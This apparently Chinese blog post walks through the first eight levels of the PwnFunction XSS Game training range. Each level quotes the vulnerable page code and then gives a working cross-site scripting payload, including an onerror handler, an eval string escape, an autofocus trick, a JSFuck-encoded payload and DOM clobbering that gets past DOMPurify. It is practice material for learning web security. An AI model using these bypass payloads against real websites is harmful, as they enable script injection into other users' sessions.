XSS漏洞复现

小试牛刀(前8关)

靶场地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关

复制代码
要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

代码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

首先我们判断他的可以传参的点,发现在倒数第二行代码处.

复制代码
<script>alert(1337)<script>    发现被过滤了

我就去查找了 innerHTML的用法

但是我们会发现还有一个标签没有被过滤可以执行js代码

复制代码
<img src=1 onerror="alert(1337)">

第二关

复制代码
要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

看到源码判断漏洞点 eval(`ma = "Ma name ${jeff}"`),看到前端页面初步判断这应该是漏洞点

aaa输出到了JEFFF的位置了.

很显然alert(1337)被当作字符串输出到页面了 ,想想应该是那个双引号的影响,就联想到sql中逃逸 " 闭合

复制代码
aaa"alert(1337)"

出现了语法错误,前端直接不显示了,查看官方文档发现前端中用 - 来连接语句。

复制代码
aaa"-alert(1337)-"

第三关

复制代码
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

我们发现和第一关有类似之处,后面发现 replace(/[<>]/g, '')。他有个过滤,我们第一关的方法行不通了。再想想之前学过的知识有什么函数可以执行js也没有用到<>呢?

复制代码
"onfocus=alert(1337)"

查询到这个函数可以执行js也没有用到<>,

然后发现onfocus需要用户操作交互才能触发所以不符合关卡要求,通过文档得知autofocus可以自动聚焦触发js.

复制代码
aaaa"onfocus=alert(1337)%20autofocus="

第四关

复制代码
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

这一关没有做什么限制,找到传参点

ricardo.submit() 发现这里有个提交没做任何限制就直接上传js

复制代码
javascript:alert(1337)

第五关

复制代码
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

看到题目,发现和前几关类似,但是这次过滤不同,没有过滤<>那就可以用img标签。

复制代码
<img src=1 onerror="alert(1337)">

但是括号被过滤,这里我们就想着给括号编码,

复制代码
<img src=1 onerror="alert%25281337%2529">

结果发现并没有对28,29进行编码 ,是什么原因呢是不是把它当成一整字符串了,所以没有编码通过查资料得知payload,查了location的用法是

复制代码
<img src=1 onerror=location="javascript:alert%25281337%2529">

第六关

复制代码
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

一道字母数字的绕过,想到的第一个方向就是通过编码译码来绕过,使用jsfuck工具编码

复制代码
balls = balls.replace(/[A-Za-z0-9]/g, '')   这应该就是漏洞点了
复制代码
?balls=%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D((!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(+%5B!%5B%5D%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(+(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B+!+%5B%5D%5D))%5B(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+((+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D%5D(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D%5D)+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D)()((!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D+%5B+!+%5B%5D%5D+(%5B+%5B%5D%5D+!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B!+%5B%5D+!+%5B%5D+%5B+%5B%5D%5D%5D)

第七关

复制代码
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

我们看到这一关过滤了很多,最主要过滤了/alert/,但是他没有过滤大写,但是html是严格区分大小写的,这就很头疼,但是想到了官方给出了这么一个函数Function.

这样我们就可以解决这个难题,查看了他的用法就开始构造payload,也想到前端有个函数可以将大写转化为小写。

复制代码
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

不知道我是什么原因toLowerCase这个函数用不了,但是eval(mafia)我也可以利用,location的作用前面的关卡已经说到了,slice(1)从后往前截取第一个。

复制代码
eval(location.hash.slice(1))#alert(1337)

第八关

复制代码
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

我们看到有两个限制函数DOMPurify,innerHTML 。DOMPurify在网上开源的,可以查到他的黑白名单。

之后我们来看看漏洞点, setTimeout(ok, 2000)这个语句。

setTimeout ()可以执行函数,那要怎么进到这个函数里面呢,我们就需要构造ok。

复制代码
?<a id=ok href=tel:alert(1337)>

a标签是在白名单内的,id=ok作为标识符,再利用锚点标签的 href 属性,构造一个电话协议的url

alert(1337)一个js的函数调用。这里为什么用tel因为他在DOMPurify的白名单内。

相关推荐
excel4 分钟前
webpack 核心编译器 十四 节
前端
excel11 分钟前
webpack 核心编译器 十三 节
前端
腾讯TNTWeb前端团队7 小时前
helux v5 发布了,像pinia一样优雅地管理你的react状态吧
前端·javascript·react.js
范文杰10 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪11 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪11 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy11 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom12 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom12 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom12 小时前
React与Next.js:基础知识及应用场景
前端·面试·github